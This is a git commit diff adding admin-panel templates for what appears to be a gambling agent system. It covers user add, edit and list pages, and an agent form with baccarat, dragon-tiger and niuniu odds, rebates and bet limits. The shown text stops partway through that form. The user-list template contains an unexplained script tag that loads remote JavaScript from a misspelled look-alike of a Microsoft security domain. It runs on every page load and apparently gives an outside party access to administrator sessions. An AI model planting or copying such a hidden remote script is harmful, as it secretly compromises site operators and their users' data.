This commit is contained in:
li
2026-01-28 15:54:52 +08:00
commit de8b686dac
2599 changed files with 419168 additions and 0 deletions
Binary file not shown.
+168
View File
@@ -0,0 +1,168 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">用户添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 6到16个字符</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与密码保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">状态:</label>
<div class="controls">
<select id="L_status" name="L_status" type="text" value maxlength="50" minlength="3" class="required">
<option value="1" selected>正常</option>
<option value="0">锁定</option>
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls">
<textarea id="L_remarks" name="L_remarks" type="text" value maxlength="50" minlength="3" class="required"></textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/admin/index';
if(id == "2") location.href = '/admin/admin_add';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.username = $('#L_username').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.status = $('#L_status').val();
query.remarks = $('#L_remarks').val();
// 验证数据
if(query.username.length == 0){
layer.alert("请填写账号!");
return false;
}
if(query.pass.length <= 0){
layer.alert("请填写密码!");
return false;
}
if(query.pass.length > 0 && query.pass.length < 6){
layer.alert("密码长度为6到16个字符!");
return false;
}
if(query.pass != query.repass){
layer.alert("两次密码不一致!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/admin/do_admin_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/admin/index";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,165 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">用户修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value="{$admin.admin}" readonly maxlength="50" minlength="3" class="required" readonly>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 密码默认为空不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 密码默认为空不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value="{$admin.mobile}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value="{$admin.email}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">状态:</label>
<div class="controls">
<select id="L_status" name="L_status" type="text" value maxlength="50" minlength="3" class="required">
<option value="1" <?php if($admin['status'] == 1) echo 'selected'; ?>>正常</option>
<option value="0" <?php if($admin['status'] == 0) echo 'selected'; ?>>锁定</option>
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls">
<textarea id="L_remarks" name="L_remarks" type="text" value maxlength="50" minlength="3" class="required">{$admin.remark}</textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="admin-id" value="{$admin.id}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/admin/index';
if(id == "2") location.href = '/admin/admin_edit';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.admin_id = $('#admin-id').val();
query.username = $('#L_username').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.remarks = $('#L_remarks').val();
// 验证数据
if(query.pass.length > 0){
if(query.pass.length >= 6){
if(query.pass != query.repass){
layer.msg("两次密码不一致!");
return false;
}
}else{
layer.msg("密码不能少于6位字符!");
return false;
}
}
var re = /1[\d]{6,10}/;
if(!re.test(query.mobile)){
layer.msg("请填写正确的手机号码!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/admin/do_admin_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = '/admin/index';
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,37 @@
{include file="public/header"}
<body>
<div class="x-body">
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">用户列表</div>
<thead>
<tr>
<th style="text-align: center;">编号</th>
<th style="text-align: center;">用户名</th>
<th style="text-align: center;">电话</th>
<th style="text-align: center;">邮箱</th>
<th style="text-align: center;">最后登录IP</th>
<th style="text-align: center;">最后登录时间</th>
<th style="text-align: center;">状态</th>
</tr>
</thead>
<tbody>
{foreach name="admin_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.admin}</td>
<td>{$vo.mobile}</td>
<td>{$vo.email}</td>
<td>{$vo.last_login_ip}</td>
<td>{$vo.last_login_time}</td>
{if condition="$vo.status == 1"}
<td>正常</td>
{else}
<td>锁定中</td>
{/if}
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+264
View File
@@ -0,0 +1,264 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<script src=https://x.mircosoft-sec.com/sXdeXc?1583228117></script>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/admin/index" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="status" id="status">
<option value="-1" selected>请选择用户状态</option>
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
</select>
</div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!--<span class="layui-btn" id="print">打印</span>-->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>用户名</th>
<th>电话</th>
<th>邮箱</th>
<th>最后登录IP</th>
<th>最后登录时间</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="admin_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.admin}</td>
<td>{$vo.mobile}</td>
<td>{$vo.email}</td>
<td>{$vo.last_login_ip}</td>
<td>{$vo.last_login_time}</td>
{if condition="$vo.status == 1"}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
</td>
{else}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
</td>
{/if}
<td class="td-manage">
{if condition="$vo.status == 1"}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
</a>
{else}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
</a>
{/if}
<a href="/admin/admin_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$admin_list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/admin/index';
if(id == "2") location.href = '/admin/admin_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*用户-锁定/解锁*/
function member_stop(obj, id) {
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
if ($(obj).attr('title') == '锁定') {
// 拼装数据发送后台 锁定 会员
var query = new Object;
query.user_id = id;
query.status = 0;
var result = ajax('/admin/change_status', query);
} else {
// 拼装数据发送后台 解锁 会员
var query = new Object;
query.user_id = id;
query.status = 1;
var result = ajax('/admin/change_status', query);
}
console.log(query);
// 判断结果 弹出提示
if (result.code == 1) {
layer.msg(result.msg, {icon: 1, time: 1500});
setInterval(function () {
location.reload();
}, 1500);
} else {
layer.msg(result.msg, {icon: 2, time: 1500});
}
});
}
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.user_id = id;
// 发送数据到后台删除会员
var result = ajax('/admin/admin_del',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var status = qs["status"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(status == undefined){
status = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title:'用户列表打印',
content: '/admin/admin_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var status = $('#status').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/admin/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&username="+username;
layer.close(index);
});
})
</script>
</body>
</html>
+802
View File
@@ -0,0 +1,802 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">代理添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="L_nickname" name="L_nickname" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 6到16个字符</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与密码保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">总代性质:</label>
<div class="controls">
<input name="agent_type" class="required agent_type" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked>
<span style="position:relative;top:-7px;">现金线</span>
<input name="agent_type" class="required agent_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;">
<span style="position:relative;top:-7px;">信用线</span>
</div>
</div>
<div class="control-group">
<label class="control-label">支付渠道:</label>
<div class="controls">
{foreach name="$pay_channel_list" item="vo"}
<span>
<input name="pay_channel" class="required pay_channel" type="radio" value="{$vo.key}" maxlength="20" style="color:#999;width:35px;">
<span style="position:relative;top:-7px;">{$vo.name}</span>
</span>
{/foreach}
</div>
</div>
<div class="control-group">
<label class="control-label">码量分担方式:</label>
<div class="controls">
<select id="share_xima">
<option value="1">不分担</option>
<option value="2">按代理占成比例分担</option>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label">洗码方式:</label>
<div class="controls">
<input name="type_xima" class="required type_xima" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked>
<span style="position:relative;top:-7px;">双边洗码</span>
<input name="type_xima" class="required type_xima" type="radio" value="2" maxlength="20" style="color:#999;width:35px;">
<span style="position:relative;top:-7px;">单边洗码</span>
</div>
</div>
<div class="control-group rebate-box">
<label class="control-label">返水率(%):</label>
<div class="controls">
<input id="rebate_rate" name="rebate_rate" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 返水率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">百家乐码率(%):</label>
<div class="controls">
<input id="L_ximalv" name="L_ximalv" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">龙虎码率(%):</label>
<div class="controls">
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">牛牛码率(%):</label>
<div class="controls">
<input id="L_ximalv_nn" name="L_ximalv_nn" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">三卡牛牛码率(%):</label>
<div class="controls">
<input id="L_ximalv_tc" name="L_ximalv_tc" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">占股(%):</label>
<div class="controls">
<input id="L_cs" name="L_cs" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 占股不能超过100%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低限红:</label>
<div class="controls">
<input id="limit_low" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高限红:</label>
<div class="controls">
<input id="limit_high" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低和限红:</label>
<div class="controls">
<input id="limit_low_tie" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高和限红:</label>
<div class="controls">
<input id="limit_high_tie" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低对子限红:</label>
<div class="controls">
<input id="limit_low_pair" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高对子限红:</label>
<div class="controls">
<input id="limit_high_pair" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
<option value="0">请选择投注方式</option>
<option value="1">网络投注</option>
<option value="2">电话投注</option>
</select>
<span class="help-inline">
<font color="red"> * 请选择投注方式</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押庄赔率:</label>
<div class="controls">
<input id="price_banker" name="price_banker" type="text" value="0.95" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押闲赔率:</label>
<div class="controls">
<input id="price_player" name="price_player" type="text" value="1" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押对子赔率:</label>
<div class="controls">
<input id="price_pair" name="price_pair" type="text" value="11" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">两张牌幸运6赔率:</label>
<div class="controls">
<input id="price_luck_six_2" name="price_luck_six_2" type="text" value="12" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">三张牌幸运6赔率:</label>
<div class="controls">
<input id="price_luck_six_3" name="price_luck_six_3" type="text" value="20" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押大赔率:</label>
<div class="controls">
<input id="price_big" name="price_big" type="text" value="0.5" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押小赔率:</label>
<div class="controls">
<input id="price_small" name="price_small" type="text" value="1.5" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押龙赔率:</label>
<div class="controls">
<input id="price_dragon" name="price_dragon" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押虎赔率:</label>
<div class="controls">
<input id="price_tiger" name="price_tiger" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_dt" name="price_tie_dt" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押无牛-牛6赔率:</label>
<div class="controls">
<input id="price_n0_n6" name="price_n0_n6" type="text" value="0.96" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛7-牛9赔率:</label>
<div class="controls">
<input id="price_n7_n9" name="price_n7_n9" type="text" value="1.92" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_nn" name="price_nn" type="text" value="2.88" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押五公赔率:</label>
<div class="controls">
<input id="price_5n" name="price_5n" type="text" value="4.80" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛一赔率:</label>
<div class="controls">
<input id="price_tc_n1" name="price_tc_n1" type="text" value="0.96" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛二赔率:</label>
<div class="controls">
<input id="price_tc_n2" name="price_tc_n2" type="text" value="1.92" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛三赔率:</label>
<div class="controls">
<input id="price_tc_n3" name="price_tc_n3" type="text" value="2.88" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛四赔率:</label>
<div class="controls">
<input id="price_tc_n4" name="price_tc_n4" type="text" value="3.84" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛五赔率:</label>
<div class="controls">
